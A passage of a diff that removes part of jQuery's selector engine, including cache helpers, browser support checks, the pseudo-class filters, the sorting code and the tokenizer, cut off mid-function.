https://github.com/jquery/sizzle/issues/157) - if ( keys.push( key + " " ) > Expr.cacheLength ) { - - // Only keep the most recent entries - delete cache[ keys.shift() ]; - } - return ( cache[ key + " " ] = value ); - } - return cache; -} - -/** - * Mark a function for special use by jQuery selector module - * @param {Function} fn The function to mark - */ -function markFunction( fn ) { - fn[ expando ] = true; - return fn; -} - -/** - * Support testing using an element - * @param {Function} fn Passed the created element and returns a boolean result - */ -function assert( fn ) { - var el = document.createElement( "fieldset" ); - - try { - return !!fn( el ); - } catch ( e ) { - return false; - } finally { - - // Remove from its parent by default - if ( el.parentNode ) { - el.parentNode.removeChild( el ); - } - - // release memory in IE - el = null; - } -} - -/** - * Returns a function to use in pseudos for input types - * @param {String} type - */ -function createInputPseudo( type ) { - return function( elem ) { - return nodeName( elem, "input" ) && elem.type === type; - }; -} - -/** - * Returns a function to use in pseudos for buttons - * @param {String} type - */ -function createButtonPseudo( type ) { - return function( elem ) { - return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) && - elem.type === type; - }; -} - -/** - * Returns a function to use in pseudos for :enabled/:disabled - * @param {Boolean} disabled true for :disabled; false for :enabled - */ -function createDisabledPseudo( disabled ) { - - // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable - return function( elem ) { - - // Only certain elements can match :enabled or :disabled - // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled - // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled - if ( "form" in elem ) { - - // Check for inherited disabledness on relevant non-disabled elements: - // * listed form-associated elements in a disabled fieldset - // https://html.spec.whatwg.org/multipage/forms.html#category-listed - // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled - // * option elements in a disabled optgroup - // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled - // All such elements have a "form" property. - if ( elem.parentNode && elem.disabled === false ) { - - // Option elements defer to a parent optgroup if present - if ( "label" in elem ) { - if ( "label" in elem.parentNode ) { - return elem.parentNode.disabled === disabled; - } else { - return elem.disabled === disabled; - } - } - - // Support: IE 6 - 11+ - // Use the isDisabled shortcut property to check for disabled fieldset ancestors - return elem.isDisabled === disabled || - - // Where there is no isDisabled, check manually - elem.isDisabled !== !disabled && - inDisabledFieldset( elem ) === disabled; - } - - return elem.disabled === disabled; - - // Try to winnow out elements that can't be disabled before trusting the disabled property. - // Some victims get caught in our net (label, legend, menu, track), but it shouldn't - // even exist on them, let alone have a boolean value. - } else if ( "label" in elem ) { - return elem.disabled === disabled; - } - - // Remaining elements are neither :enabled nor :disabled - return false; - }; -} - -/** - * Returns a function to use in pseudos for positionals - * @param {Function} fn - */ -function createPositionalPseudo( fn ) { - return markFunction( function( argument ) { - argument = +argument; - return markFunction( function( seed, matches ) { - var j, - matchIndexes = fn( [], seed.length, argument ), - i = matchIndexes.length; - - // Match elements found at the specified indexes - while ( i-- ) { - if ( seed[ ( j = matchIndexes[ i ] ) ] ) { - seed[ j ] = !( matches[ j ] = seed[ j ] ); - } - } - } ); - } ); -} - -/** - * Checks a node for validity as a jQuery selector context - * @param {Element|Object=} context - * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value - */ -function testContext( context ) { - return context && typeof context.getElementsByTagName !== "undefined" && context; -} - -/** - * Sets document-related variables once based on the current document - * @param {Element|Object} [node] An element or document object to use to set the document - * @returns {Object} Returns the current document - */ -function setDocument( node ) { - var subWindow, - doc = node ? node.ownerDocument || node : preferredDoc; - - // Return early if doc is invalid or already selected - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) { - return document; - } - - // Update global variables - document = doc; - documentElement = document.documentElement; - documentIsHTML = !jQuery.isXMLDoc( document ); - - // Support: iOS 7 only, IE 9 - 11+ - // Older browsers didn't support unprefixed `matches`. - matches = documentElement.matches || - documentElement.webkitMatchesSelector || - documentElement.msMatchesSelector; - - // Support: IE 9 - 11+, Edge 12 - 18+ - // Accessing iframe documents after unload throws "permission denied" errors - // (see trac-13936). - // Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`, - // all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well. - if ( documentElement.msMatchesSelector && - - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - preferredDoc != document && - ( subWindow = document.defaultView ) && subWindow.top !== subWindow ) { - - // Support: IE 9 - 11+, Edge 12 - 18+ - subWindow.addEventListener( "unload", unloadHandler ); - } - - // Support: IE <10 - // Check if getElementById returns elements by name - // The broken getElementById methods don't pick up programmatically-set names, - // so use a roundabout getElementsByName test - support.getById = assert( function( el ) { - documentElement.appendChild( el ).id = jQuery.expando; - return !document.getElementsByName || - !document.getElementsByName( jQuery.expando ).length; - } ); - - // Support: IE 9 only - // Check to see if it's possible to do matchesSelector - // on a disconnected node. - support.disconnectedMatch = assert( function( el ) { - return matches.call( el, "*" ); - } ); - - // Support: IE 9 - 11+, Edge 12 - 18+ - // IE/Edge don't support the :scope pseudo-class. - support.scope = assert( function() { - return document.querySelectorAll( ":scope" ); - } ); - - // Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only - // Make sure the `:has()` argument is parsed unforgivingly. - // We include `*` in the test to detect buggy implementations that are - // _selectively_ forgiving (specifically when the list includes at least - // one valid selector). - // Note that we treat complete lack of support for `:has()` as if it were - // spec-compliant support, which is fine because use of `:has()` in such - // environments will fail in the qSA path and fall back to jQuery traversal - // anyway. - support.cssHas = assert( function() { - try { - document.querySelector( ":has(*,:jqfake)" ); - return false; - } catch ( e ) { - return true; - } - } ); - - // ID filter and find - if ( support.getById ) { - Expr.filter.ID = function( id ) { - var attrId = id.replace( runescape, funescape ); - return function( elem ) { - return elem.getAttribute( "id" ) === attrId; - }; - }; - Expr.find.ID = function( id, context ) { - if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { - var elem = context.getElementById( id ); - return elem ? [ elem ] : []; - } - }; - } else { - Expr.filter.ID = function( id ) { - var attrId = id.replace( runescape, funescape ); - return function( elem ) { - var node = typeof elem.getAttributeNode !== "undefined" && - elem.getAttributeNode( "id" ); - return node && node.value === attrId; - }; - }; - - // Support: IE 6 - 7 only - // getElementById is not reliable as a find shortcut - Expr.find.ID = function( id, context ) { - if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { - var node, i, elems, - elem = context.getElementById( id ); - - if ( elem ) { - - // Verify the id attribute - node = elem.getAttributeNode( "id" ); - if ( node && node.value === id ) { - return [ elem ]; - } - - // Fall back on getElementsByName - elems = context.getElementsByName( id ); - i = 0; - while ( ( elem = elems[ i++ ] ) ) { - node = elem.getAttributeNode( "id" ); - if ( node && node.value === id ) { - return [ elem ]; - } - } - } - - return []; - } - }; - } - - // Tag - Expr.find.TAG = function( tag, context ) { - if ( typeof context.getElementsByTagName !== "undefined" ) { - return context.getElementsByTagName( tag ); - - // DocumentFragment nodes don't have gEBTN - } else { - return context.querySelectorAll( tag ); - } - }; - - // Class - Expr.find.CLASS = function( className, context ) { - if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { - return context.getElementsByClassName( className ); - } - }; - - /* QSA/matchesSelector - ---------------------------------------------------------------------- */ - - // QSA and matchesSelector support - - rbuggyQSA = []; - - // Build QSA regex - // Regex strategy adopted from Diego Perini - assert( function( el ) { - - var input; - - documentElement.appendChild( el ).innerHTML = - "<a id='" + expando + "' href='' disabled='disabled'></a>" + - "<select id='" + expando + "-\r\\' disabled='disabled'>" + - "<option selected=''></option></select>"; - - // Support: iOS <=7 - 8 only - // Boolean attributes and "value" are not treated correctly in some XML documents - if ( !el.querySelectorAll( "[selected]" ).length ) { - rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); - } - - // Support: iOS <=7 - 8 only - if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { - rbuggyQSA.push( "~=" ); - } - - // Support: iOS 8 only - // https://bugs.webkit.org/show_bug.cgi?id=136851 - // In-page `selector#id sibling-combinator selector` fails - if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { - rbuggyQSA.push( ".#.+[+~]" ); - } - - // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ - // In some of the document kinds, these selectors wouldn't work natively. - // This is probably OK but for backwards compatibility we want to maintain - // handling them through jQuery traversal in jQuery 3.x. - if ( !el.querySelectorAll( ":checked" ).length ) { - rbuggyQSA.push( ":checked" ); - } - - // Support: Windows 8 Native Apps - // The type and name attributes are restricted during .innerHTML assignment - input = document.createElement( "input" ); - input.setAttribute( "type", "hidden" ); - el.appendChild( input ).setAttribute( "name", "D" ); - - // Support: IE 9 - 11+ - // IE's :disabled selector does not pick up the children of disabled fieldsets - // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ - // In some of the document kinds, these selectors wouldn't work natively. - // This is probably OK but for backwards compatibility we want to maintain - // handling them through jQuery traversal in jQuery 3.x. - documentElement.appendChild( el ).disabled = true; - if ( el.querySelectorAll( ":disabled" ).length !== 2 ) { - rbuggyQSA.push( ":enabled", ":disabled" ); - } - - // Support: IE 11+, Edge 15 - 18+ - // IE 11/Edge don't find elements on a `[name='']` query in some cases. - // Adding a temporary attribute to the document before the selection works - // around the issue. - // Interestingly, IE 10 & older don't seem to have the issue. - input = document.createElement( "input" ); - input.setAttribute( "name", "" ); - el.appendChild( input ); - if ( !el.querySelectorAll( "[name='']" ).length ) { - rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" + - whitespace + "*(?:''|\"\")" ); - } - } ); - - if ( !support.cssHas ) { - - // Support: Chrome 105 - 110+, Safari 15.4 - 16.3+ - // Our regular `try-catch` mechanism fails to detect natively-unsupported - // pseudo-classes inside `:has()` (such as `:has(:contains("Foo"))`) - // in browsers that parse the `:has()` argument as a forgiving selector list. - // https://drafts.csswg.org/selectors/#relational now requires the argument - // to be parsed unforgivingly, but browsers have not yet fully adjusted. - rbuggyQSA.push( ":has" ); - } - - rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) ); - - /* Sorting - ---------------------------------------------------------------------- */ - - // Document order sorting - sortOrder = function( a, b ) { - - // Flag for duplicate removal - if ( a === b ) { - hasDuplicate = true; - return 0; - } - - // Sort on method existence if only one input has compareDocumentPosition - var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; - if ( compare ) { - return compare; - } - - // Calculate position if both inputs belong to the same document - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ? - a.compareDocumentPosition( b ) : - - // Otherwise we know they are disconnected - 1; - - // Disconnected nodes - if ( compare & 1 || - ( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) { - - // Choose the first element that is related to our preferred document - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( a === document || a.ownerDocument == preferredDoc && - find.contains( preferredDoc, a ) ) { - return -1; - } - - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( b === document || b.ownerDocument == preferredDoc && - find.contains( preferredDoc, b ) ) { - return 1; - } - - // Maintain original order - return sortInput ? - ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : - 0; - } - - return compare & 4 ? -1 : 1; - }; - - return document; -} - -find.matches = function( expr, elements ) { - return find( expr, null, null, elements ); -}; - -find.matchesSelector = function( elem, expr ) { - setDocument( elem ); - - if ( documentIsHTML && - !nonnativeSelectorCache[ expr + " " ] && - ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { - - try { - var ret = matches.call( elem, expr ); - - // IE 9's matchesSelector returns false on disconnected nodes - if ( ret || support.disconnectedMatch || - - // As well, disconnected nodes are said to be in a document - // fragment in IE 9 - elem.document && elem.document.nodeType !== 11 ) { - return ret; - } - } catch ( e ) { - nonnativeSelectorCache( expr, true ); - } - } - - return find( expr, document, null, [ elem ] ).length > 0; -}; - -find.contains = function( context, elem ) { - - // Set document vars if needed - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( ( context.ownerDocument || context ) != document ) { - setDocument( context ); - } - return jQuery.contains( context, elem ); -}; - - -find.attr = function( elem, name ) { - - // Set document vars if needed - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( ( elem.ownerDocument || elem ) != document ) { - setDocument( elem ); - } - - var fn = Expr.attrHandle[ name.toLowerCase() ], - - // Don't get fooled by Object.prototype properties (see trac-13807) - val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? - fn( elem, name, !documentIsHTML ) : - undefined; - - if ( val !== undefined ) { - return val; - } - - return elem.getAttribute( name ); -}; - -find.error = function( msg ) { - throw new Error( "Syntax error, unrecognized expression: " + msg ); -}; - -/** - * Document sorting and removing duplicates - * @param {ArrayLike} results - */ -jQuery.uniqueSort = function( results ) { - var elem, - duplicates = [], - j = 0, - i = 0; - - // Unless we *know* we can detect duplicates, assume their presence - // - // Support: Android <=4.0+ - // Testing for detecting duplicates is unpredictable so instead assume we can't - // depend on duplicate detection in all browsers without a stable sort. - hasDuplicate = !support.sortStable; - sortInput = !support.sortStable && slice.call( results, 0 ); - sort.call( results, sortOrder ); - - if ( hasDuplicate ) { - while ( ( elem = results[ i++ ] ) ) { - if ( elem === results[ i ] ) { - j = duplicates.push( i ); - } - } - while ( j-- ) { - splice.call( results, duplicates[ j ], 1 ); - } - } - - // Clear input after sorting to release objects - // See https://github.com/jquery/sizzle/pull/225 - sortInput = null; - - return results; -}; - -jQuery.fn.uniqueSort = function() { - return this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) ); -}; - -Expr = jQuery.expr = { - - // Can be adjusted by the user - cacheLength: 50, - - createPseudo: markFunction, - - match: matchExpr, - - attrHandle: {}, - - find: {}, - - relative: { - ">": { dir: "parentNode", first: true }, - " ": { dir: "parentNode" }, - "+": { dir: "previousSibling", first: true }, - "~": { dir: "previousSibling" } - }, - - preFilter: { - ATTR: function( match ) { - match[ 1 ] = match[ 1 ].replace( runescape, funescape ); - - // Move the given value to match[3] whether quoted or unquoted - match[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" ) - .replace( runescape, funescape ); - - if ( match[ 2 ] === "~=" ) { - match[ 3 ] = " " + match[ 3 ] + " "; - } - - return match.slice( 0, 4 ); - }, - - CHILD: function( match ) { - - /* matches from matchExpr["CHILD"] - 1 type (only|nth|...) - 2 what (child|of-type) - 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) - 4 xn-component of xn+y argument ([+-]?\d*n|) - 5 sign of xn-component - 6 x of xn-component - 7 sign of y-component - 8 y of y-component - */ - match[ 1 ] = match[ 1 ].toLowerCase(); - - if ( match[ 1 ].slice( 0, 3 ) === "nth" ) { - - // nth-* requires argument - if ( !match[ 3 ] ) { - find.error( match[ 0 ] ); - } - - // numeric x and y parameters for Expr.filter.CHILD - // remember that false/true cast respectively to 0/1 - match[ 4 ] = +( match[ 4 ] ? - match[ 5 ] + ( match[ 6 ] || 1 ) : - 2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" ) - ); - match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" ); - - // other types prohibit arguments - } else if ( match[ 3 ] ) { - find.error( match[ 0 ] ); - } - - return match; - }, - - PSEUDO: function( match ) { - var excess, - unquoted = !match[ 6 ] && match[ 2 ]; - - if ( matchExpr.CHILD.test( match[ 0 ] ) ) { - return null; - } - - // Accept quoted arguments as-is - if ( match[ 3 ] ) { - match[ 2 ] = match[ 4 ] || match[ 5 ] || ""; - - // Strip excess characters from unquoted arguments - } else if ( unquoted && rpseudo.test( unquoted ) && - - // Get excess from tokenize (recursively) - ( excess = tokenize( unquoted, true ) ) && - - // advance to the next closing parenthesis - ( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) { - - // excess is a negative index - match[ 0 ] = match[ 0 ].slice( 0, excess ); - match[ 2 ] = unquoted.slice( 0, excess ); - } - - // Return only captures needed by the pseudo filter method (type and argument) - return match.slice( 0, 3 ); - } - }, - - filter: { - - TAG: function( nodeNameSelector ) { - var expectedNodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); - return nodeNameSelector === "*" ? - function() { - return true; - } : - function( elem ) { - return nodeName( elem, expectedNodeName ); - }; - }, - - CLASS: function( className ) { - var pattern = classCache[ className + " " ]; - - return pattern || - ( pattern = new RegExp( "(^|" + whitespace + ")" + className + - "(" + whitespace + "|$)" ) ) && - classCache( className, function( elem ) { - return pattern.test( - typeof elem.className === "string" && elem.className || - typeof elem.getAttribute !== "undefined" && - elem.getAttribute( "class" ) || - "" - ); - } ); - }, - - ATTR: function( name, operator, check ) { - return function( elem ) { - var result = find.attr( elem, name ); - - if ( result == null ) { - return operator === "!="; - } - if ( !operator ) { - return true; - } - - result += ""; - - if ( operator === "=" ) { - return result === check; - } - if ( operator === "!=" ) { - return result !== check; - } - if ( operator === "^=" ) { - return check && result.indexOf( check ) === 0; - } - if ( operator === "*=" ) { - return check && result.indexOf( check ) > -1; - } - if ( operator === "$=" ) { - return check && result.slice( -check.length ) === check; - } - if ( operator === "~=" ) { - return ( " " + result.replace( rwhitespace, " " ) + " " ) - .indexOf( check ) > -1; - } - if ( operator === "|=" ) { - return result === check || result.slice( 0, check.length + 1 ) === check + "-"; - } - - return false; - }; - }, - - CHILD: function( type, what, _argument, first, last ) { - var simple = type.slice( 0, 3 ) !== "nth", - forward = type.slice( -4 ) !== "last", - ofType = what === "of-type"; - - return first === 1 && last === 0 ? - - // Shortcut for :nth-*(n) - function( elem ) { - return !!elem.parentNode; - } : - - function( elem, _context, xml ) { - var cache, outerCache, node, nodeIndex, start, - dir = simple !== forward ? "nextSibling" : "previousSibling", - parent = elem.parentNode, - name = ofType && elem.nodeName.toLowerCase(), - useCache = !xml && !ofType, - diff = false; - - if ( parent ) { - - // :(first|last|only)-(child|of-type) - if ( simple ) { - while ( dir ) { - node = elem; - while ( ( node = node[ dir ] ) ) { - if ( ofType ? - nodeName( node, name ) : - node.nodeType === 1 ) { - - return false; - } - } - - // Reverse direction for :only-* (if we haven't yet done so) - start = dir = type === "only" && !start && "nextSibling"; - } - return true; - } - - start = [ forward ? parent.firstChild : parent.lastChild ]; - - // non-xml :nth-child(...) stores cache data on `parent` - if ( forward && useCache ) { - - // Seek `elem` from a previously-cached index - outerCache = parent[ expando ] || ( parent[ expando ] = {} ); - cache = outerCache[ type ] || []; - nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; - diff = nodeIndex && cache[ 2 ]; - node = nodeIndex && parent.childNodes[ nodeIndex ]; - - while ( ( node = ++nodeIndex && node && node[ dir ] || - - // Fallback to seeking `elem` from the start - ( diff = nodeIndex = 0 ) || start.pop() ) ) { - - // When found, cache indexes on `parent` and break - if ( node.nodeType === 1 && ++diff && node === elem ) { - outerCache[ type ] = [ dirruns, nodeIndex, diff ]; - break; - } - } - - } else { - - // Use previously-cached element index if available - if ( useCache ) { - outerCache = elem[ expando ] || ( elem[ expando ] = {} ); - cache = outerCache[ type ] || []; - nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; - diff = nodeIndex; - } - - // xml :nth-child(...) - // or :nth-last-child(...) or :nth(-last)?-of-type(...) - if ( diff === false ) { - - // Use the same loop as above to seek `elem` from the start - while ( ( node = ++nodeIndex && node && node[ dir ] || - ( diff = nodeIndex = 0 ) || start.pop() ) ) { - - if ( ( ofType ? - nodeName( node, name ) : - node.nodeType === 1 ) && - ++diff ) { - - // Cache the index of each encountered element - if ( useCache ) { - outerCache = node[ expando ] || - ( node[ expando ] = {} ); - outerCache[ type ] = [ dirruns, diff ]; - } - - if ( node === elem ) { - break; - } - } - } - } - } - - // Incorporate the offset, then check against cycle size - diff -= last; - return diff === first || ( diff % first === 0 && diff / first >= 0 ); - } - }; - }, - - PSEUDO: function( pseudo, argument ) { - - // pseudo-class names are case-insensitive - // https://www.w3.org/TR/selectors/#pseudo-classes - // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters - // Remember that setFilters inherits from pseudos - var args, - fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || - find.error( "unsupported pseudo: " + pseudo ); - - // The user may use createPseudo to indicate that - // arguments are needed to create the filter function - // just as jQuery does - if ( fn[ expando ] ) { - return fn( argument ); - } - - // But maintain support for old signatures - if ( fn.length > 1 ) { - args = [ pseudo, pseudo, "", argument ]; - return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? - markFunction( function( seed, matches ) { - var idx, - matched = fn( seed, argument ), - i = matched.length; - while ( i-- ) { - idx = indexOf.call( seed, matched[ i ] ); - seed[ idx ] = !( matches[ idx ] = matched[ i ] ); - } - } ) : - function( elem ) { - return fn( elem, 0, args ); - }; - } - - return fn; - } - }, - - pseudos: { - - // Potentially complex pseudos - not: markFunction( function( selector ) { - - // Trim the selector passed to compile - // to avoid treating leading and trailing - // spaces as combinators - var input = [], - results = [], - matcher = compile( selector.replace( rtrimCSS, "$1" ) ); - - return matcher[ expando ] ? - markFunction( function( seed, matches, _context, xml ) { - var elem, - unmatched = matcher( seed, null, xml, [] ), - i = seed.length; - - // Match elements unmatched by `matcher` - while ( i-- ) { - if ( ( elem = unmatched[ i ] ) ) { - seed[ i ] = !( matches[ i ] = elem ); - } - } - } ) : - function( elem, _context, xml ) { - input[ 0 ] = elem; - matcher( input, null, xml, results ); - - // Don't keep the element - // (see https://github.com/jquery/sizzle/issues/299) - input[ 0 ] = null; - return !results.pop(); - }; - } ), - - has: markFunction( function( selector ) { - return function( elem ) { - return find( selector, elem ).length > 0; - }; - } ), - - contains: markFunction( function( text ) { - text = text.replace( runescape, funescape ); - return function( elem ) { - return ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1; - }; - } ), - - // "Whether an element is represented by a :lang() selector - // is based solely on the element's language value - // being equal to the identifier C, - // or beginning with the identifier C immediately followed by "-". - // The matching of C against the element's language value is performed case-insensitively. - // The identifier C does not have to be a valid language name." - // https://www.w3.org/TR/selectors/#lang-pseudo - lang: markFunction( function( lang ) { - - // lang value must be a valid identifier - if ( !ridentifier.test( lang || "" ) ) { - find.error( "unsupported lang: " + lang ); - } - lang = lang.replace( runescape, funescape ).toLowerCase(); - return function( elem ) { - var elemLang; - do { - if ( ( elemLang = documentIsHTML ? - elem.lang : - elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) { - - elemLang = elemLang.toLowerCase(); - return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; - } - } while ( ( elem = elem.parentNode ) && elem.nodeType === 1 ); - return false; - }; - } ), - - // Miscellaneous - target: function( elem ) { - var hash = window.location && window.location.hash; - return hash && hash.slice( 1 ) === elem.id; - }, - - root: function( elem ) { - return elem === documentElement; - }, - - focus: function( elem ) { - return elem === safeActiveElement() && - document.hasFocus() && - !!( elem.type || elem.href || ~elem.tabIndex ); - }, - - // Boolean properties - enabled: createDisabledPseudo( false ), - disabled: createDisabledPseudo( true ), - - checked: function( elem ) { - - // In CSS3, :checked should return both checked and selected elements - // https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked - return ( nodeName( elem, "input" ) && !!elem.checked ) || - ( nodeName( elem, "option" ) && !!elem.selected ); - }, - - selected: function( elem ) { - - // Support: IE <=11+ - // Accessing the selectedIndex property - // forces the browser to treat the default option as - // selected when in an optgroup. - if ( elem.parentNode ) { - // eslint-disable-next-line no-unused-expressions - elem.parentNode.selectedIndex; - } - - return elem.selected === true; - }, - - // Contents - empty: function( elem ) { - - // https://www.w3.org/TR/selectors/#empty-pseudo - // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), - // but not by others (comment: 8; processing instruction: 7; etc.) - // nodeType < 6 works because attributes (2) do not appear as children - for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { - if ( elem.nodeType < 6 ) { - return false; - } - } - return true; - }, - - parent: function( elem ) { - return !Expr.pseudos.empty( elem ); - }, - - // Element/input types - header: function( elem ) { - return rheader.test( elem.nodeName ); - }, - - input: function( elem ) { - return rinputs.test( elem.nodeName ); - }, - - button: function( elem ) { - return nodeName( elem, "input" ) && elem.type === "button" || - nodeName( elem, "button" ); - }, - - text: function( elem ) { - var attr; - return nodeName( elem, "input" ) && elem.type === "text" && - - // Support: IE <10 only - // New HTML5 attribute values (e.g., "search") appear - // with elem.type === "text" - ( ( attr = elem.getAttribute( "type" ) ) == null || - attr.toLowerCase() === "text" ); - }, - - // Position-in-collection - first: createPositionalPseudo( function() { - return [ 0 ]; - } ), - - last: createPositionalPseudo( function( _matchIndexes, length ) { - return [ length - 1 ]; - } ), - - eq: createPositionalPseudo( function( _matchIndexes, length, argument ) { - return [ argument < 0 ? argument + length : argument ]; - } ), - - even: createPositionalPseudo( function( matchIndexes, length ) { - var i = 0; - for ( ; i < length; i += 2 ) { - matchIndexes.push( i ); - } - return matchIndexes; - } ), - - odd: createPositionalPseudo( function( matchIndexes, length ) { - var i = 1; - for ( ; i < length; i += 2 ) { - matchIndexes.push( i ); - } - return matchIndexes; - } ), - - lt: createPositionalPseudo( function( matchIndexes, length, argument ) { - var i; - - if ( argument < 0 ) { - i = argument + length; - } else if ( argument > length ) { - i = length; - } else { - i = argument; - } - - for ( ; --i >= 0; ) { - matchIndexes.push( i ); - } - return matchIndexes; - } ), - - gt: createPositionalPseudo( function( matchIndexes, length, argument ) { - var i = argument < 0 ? argument + length : argument; - for ( ; ++i < length; ) { - matchIndexes.push( i ); - } - return matchIndexes; - } ) - } -}; - -Expr.pseudos.nth = Expr.pseudos.eq; - -// Add button/input type pseudos -for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { - Expr.pseudos[ i ] = createInputPseudo( i ); -} -for ( i in { submit: true, reset: true } ) { - Expr.pseudos[ i ] = createButtonPseudo( i ); -} - -// Easy API for creating new setFilters -function setFilters() {} -setFilters.prototype = Expr.filters = Expr.pseudos; -Expr.setFilters = new setFilters(); - -function tokenize( selector, parseOnly ) { - var matched, match, tokens, type, - soFar, groups, preFilters, - cached = tokenCache[ selector + " " ]; - - if ( cached ) { - return parseOnly ? 0 : cached.slice( 0 ); - } - - soFar = selector; - groups = []; - preFilters = Expr.preFilter; - - while ( soFar ) { - - // Comma and first run - if ( !matched || ( match = rcomma.exec( soFar ) ) ) { - if ( match ) { - - // Don't consume trailing commas as valid - soFar = soFar.slice( match[ 0 ].length ) || soFar; - } - groups.push( ( tokens = [] ) ); - } - - matched = false; - - // Combinators - if ( ( match = rleadingCombinator.exec( soFar ) ) ) { - matched = match.shift(); - tokens.push( { - value: matched, - - // Cast descendant combinators to space - type: match[ 0 ].replace( rtrimCSS, " " ) - } ); - soFar = soFar.slice( matched.length ); - } - - // Filters - for ( type in Expr.filter ) { - if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] || - ( match = preFilters[ type ]( match ) ) ) ) { - matched = match.shift(); - tokens.push( { - value: matched, - type: type, - matches: match - } ); - soFar = soFar.slice( matched.length ); - } - } - - if ( !matched ) { - break; - } - } - - // Return the length of the invalid excess - // if we're just parsing - // Otherwise, throw an error or return tokens - if ( parseOnly ) { - return soFar.length; - } - - return soFar ? - find.error( selector ) : - - // Cache the tokens - tokenCache( selector, groups ).slice( 0 ); -} - -function toSelector( tokens ) { - var i = 0, - len = tokens.length, - selector = ""; - for ( ; i < len; i++ ) { - selector += tokens[ i ].value; - } - return selector; -} - -function addCombinator( matcher, combinator, base ) { - var dir = combinator.dir, - skip = combinator.next, - key = skip || dir, - checkNonElements = base && key === "parentNode", - doneName = done++; - - return combinator.first ? - - // Check against closest ancestor/preceding element - function( elem, context, xml ) { - while ( ( elem = elem[ dir ] ) ) { - if ( elem.nodeType === 1 || checkNonElements ) { - return matcher( elem, context, xml ); - } - } - return false; - } : - - // Check against all ancestor/preceding elements - function( elem, context, xml ) { - var oldCache, outerCache, - newCache = [ dirruns, doneName ]; - - // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching - if ( xml ) { - while ( ( elem = elem[ dir ] ) ) { - if ( elem.nodeType === 1 || checkNonElements ) { - if ( matcher( elem, context, xml ) ) { - return true; - } - } - } - } else { - while ( ( elem = elem[ dir ] ) ) { - if ( elem.nodeType === 1 || checkNonElements ) { - outerCache = elem[ expando ] || ( elem[ expando ] = {} ); - - if ( skip && nodeName( elem, skip ) ) { - elem = elem[ dir ] || elem; - } else if ( ( oldCache = outerCache[ key ] ) && - oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { - - // Assign to newCache so results back-propagate to previous elements - return ( newCache[ 2 ] = oldCache[ 2 ] ); - } else { - - // Reuse newcache so results back-propagate to previous elements - outerCache[ key ] = newCache; - - // A match means we're done; a fail means we have to keep checking - if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) { - return true; - } - } - } - } - } - return false; - }; -} - -function elementMatcher( matchers ) { - return matchers.length > 1 ? - function( elem, context, xml ) { - var i = matchers.length; - while ( i-- ) { - if ( 